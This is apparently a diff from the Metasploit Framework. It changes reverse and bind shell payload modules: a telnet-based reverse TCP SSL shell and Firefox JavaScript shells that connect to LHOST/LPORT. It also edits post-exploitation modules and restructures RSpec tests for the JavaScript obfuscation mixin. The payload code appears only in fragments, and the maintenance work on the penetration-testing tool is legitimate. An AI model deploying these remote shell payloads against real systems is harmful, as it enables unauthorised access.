@ -29,7 +29,7 @@ module Metasploit3
|
|||
'Handler' => Msf::Handler::ReverseTcpSsl,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'cmd_bash',
|
||||
'RequiredCmd' => 'bash-tcp',
|
||||
'RequiredCmd' => 'telnet',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
|
|
|
@ -34,6 +34,7 @@ module Metasploit3
|
|||
<<-EOS
|
||||
|
||||
(function(){
|
||||
window = this;
|
||||
#{read_file_source if datastore['WSCRIPT']}
|
||||
#{run_cmd_source if datastore['WSCRIPT']}
|
||||
|
||||
|
|
|
@ -34,6 +34,7 @@ module Metasploit3
|
|||
def generate
|
||||
%Q|
|
||||
(function(){
|
||||
window = this;
|
||||
Components.utils.import("resource://gre/modules/NetUtil.jsm");
|
||||
var lport = #{datastore["LPORT"]};
|
||||
var rhost = "#{datastore['RHOST']}";
|
||||
|
|
|
@ -32,6 +32,8 @@ module Metasploit3
|
|||
<<-EOS
|
||||
|
||||
(function(){
|
||||
window = this;
|
||||
|
||||
Components.utils.import("resource://gre/modules/NetUtil.jsm");
|
||||
var host = '#{datastore["LHOST"]}';
|
||||
var port = #{datastore["LPORT"]};
|
||||
|
|
|
@ -62,7 +62,7 @@ class Metasploit3 < Msf::Post
|
|||
} catch (e) {
|
||||
send(e);
|
||||
}
|
||||
})(send);
|
||||
})(this.send);
|
||||
|.strip
|
||||
end
|
||||
end
|
||||
|
|
|
@ -80,7 +80,7 @@ class Metasploit3 < Msf::Post
|
|||
} catch (e) {
|
||||
send(e);
|
||||
}
|
||||
})(send);
|
||||
})(this.send);
|
||||
|.strip
|
||||
end
|
||||
end
|
||||
|
|
|
@ -79,7 +79,7 @@ class Metasploit3 < Msf::Post
|
|||
} catch (e) {
|
||||
send(e);
|
||||
}
|
||||
})(send);
|
||||
})(this.send);
|
||||
|.strip
|
||||
end
|
||||
end
|
||||
|
|
|
@ -78,7 +78,7 @@ class Metasploit3 < Msf::Post
|
|||
};
|
||||
|
||||
setTimeout(evt, 200);
|
||||
})(send);
|
||||
})(this.send);
|
||||
|
||||
|.strip
|
||||
end
|
||||
|
|
|
@ -105,7 +105,7 @@ class Metasploit3 < Msf::Post
|
|||
} catch (e) {
|
||||
send(e);
|
||||
}
|
||||
})(send);
|
||||
})(this.send);
|
||||
|
|
||||
end
|
||||
|
||||
|
|
|
@ -1,6 +1,5 @@
|
|||
require 'spec_helper'
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/remote/browser_exploit_server'
|
||||
|
||||
describe Msf::Exploit::Remote::BrowserExploitServer do
|
||||
|
||||
|
@ -58,6 +57,8 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
|||
server.start_service
|
||||
end
|
||||
|
||||
it_should_behave_like 'Msf::Exploit::JSObfu'
|
||||
|
||||
describe "#get_module_resource" do
|
||||
it "should give me a URI to access the exploit page" do
|
||||
module_resource = server.get_module_resource
|
||||
|
|
|
@ -0,0 +1,8 @@
|
|||
require 'spec_helper'
|
||||
require 'msf/core'
|
||||
|
||||
describe Msf::Exploit::Remote::FirefoxPrivilegeEscalation do
|
||||
|
||||
it_should_behave_like 'Msf::Exploit::JSObfu'
|
||||
|
||||
end
|
|
@ -3,11 +3,11 @@ require 'msf/core'
|
|||
require 'msf/core/exploit/jsobfu'
|
||||
|
||||
|
||||
describe Msf::Exploit::JSObfu do
|
||||
shared_examples_for 'Msf::Exploit::JSObfu' do
|
||||
|
||||
subject(:jsobfu) do
|
||||
mod = ::Msf::Module.new
|
||||
mod.extend described_class
|
||||
mod.send(:initialize, {})
|
||||
mod
|
||||
end
|
||||
|
||||
|
@ -58,4 +58,5 @@ describe Msf::Exploit::JSObfu do
|
|||
expect(obj.to_s).to include(js)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue